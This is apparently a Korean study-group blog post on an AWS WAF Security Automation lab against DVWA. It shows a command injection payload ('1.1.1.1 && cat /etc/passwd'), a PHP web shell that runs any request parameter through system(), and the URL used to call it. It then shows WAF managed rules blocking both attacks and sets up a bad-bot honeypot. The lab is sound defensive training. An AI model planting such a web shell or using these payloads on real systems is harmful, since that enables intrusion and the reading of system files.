Ssoon

Security Automation for AWS WAF - 4) 공격 테스트 및 방어 (심화) 본문

AWS Hacking & Security Study

Security Automation for AWS WAF - 4) 공격 테스트 및 방어 (심화)

구구달스 2023. 9. 14. 04:22
CloudNet@가시다님이 진행하는 "AWS Hacking & Security Study" 1기 스터디입니다.
# [AWS Workshop Studio] Security Automation for AWS WAF 를 참조하였습니다.

 Command Injection 공격

  • /etc/passwd 파일의 정보가 출력되는 취약성
1.1.1.1 && cat /etc/passwd


 BackDoor 공격

  • 실행 파일을 개시판에 updload하고 해당 파일을 실행
  • /etc/passwd 파일의 정보가 출력되는 취약성
<?php

if(isset($_REQUEST['cmd'])){
        echo "<pre>";
        $cmd = ($_REQUEST['cmd']);
        system($cmd);
        echo "</pre>";
        die;
}

?>
  • backdoor.php 을 업로드

  • url + 실행 명령어 형태로 브로우저에서 접속
http://{{ALB DNS Name}}/hackable/uploads/backdoor.php?cmd=cat+/etc/passwd
  • /etc/passwd 파일의 내용이 출력


솔루션 Update 

💠 CloudFormation 접속 

  • Stacks > WAFSecurityAutomations

  • WAFSecurityAutomations > Update

  • Use current template 선택

  • 아래와 같이 설정을 변경
  • Activate Amazon IP reputation List Managed Rule Group Protection

  • Activate Core Rule Set Managed Rule Group Protection

  • Activate SQL Database Managed Rule Group Protection

  • Activate POSIX Operating System Managed Rule Group Protection

  • 변경 사항을 확인 하고  변경사항을 적용

  • Web ACLs > WAFSecurityAutomations > Rules 에서 추가된 rule을 확인


 Command Injection 공격 방어

1.1.1.1 && cat /etc/passwd

  • 403 Forbidden 

  • Web ACLs -> Overview -> Sampled requests 에서 WAFSecurityAutomationAMRPOSIX  확인

  • 개별 Request를 클릭해서 Request의 자세한 정보 확인


 BackDoor 공격 방어

  • backdoor.php 을 업로드

  • url + 실행 명령어 형태로 브로우저에서 접속
http://{{ALB DNS Name}}/hackable/uploads/backdoor.php?cmd=cat+/etc/passwd
  • 403 Forbidden 

  • Blocked Request 확인

  • Web ACLs -> Overview -> Sampled requests 에서 WAFSecurityAutomationAMRPOSIX  확인

  • 개별 Request를 클릭해서 Request의 자세한 정보 확인


Bad Bot or Contents Scraper 방어

  • WAFSecurityAutomation 의 출력 에서 BadBotHoneypotEndpoint 확인

HoneypotEndpoint를 Web Application의 robots.txt 또는 link로 추가 > robot이나 contents scraper가 이 링크에 접근 > Access Handler 역할을 하는 Lambda 함수가 작동 > 접속한 client의 IP Address를 파싱 > WebACL Rule에 추가 > 이후에 접속을 차단

💠 Honeypot Endpoint 접속하기

  • 브라우저를 이용해 HoneypotEndpoint를 접속합니다.

  • 접속에 성공하면 아래와 같은 메세지가 리턴 됩니다.

  • DVWA를 다시 접속 > 차단되는 것을 확인

  • Web ACLs -> Overview -> Sampled requests 에서 WAFSecurityAutomationBadBotRule 확인

  • 개별 Request를 클릭해서 Request의 자세한 정보 확인

  • WebACL > WAFSecurityAutomations > WAFSecurityAutomationBadBotRule 

  • Client의 IP가 추가된 것을 확인


솔루션 제거

  • CloudFormation > Stacks > MyDVWA 먼저 Delete > WAFSecurityAutomations Delete
Comments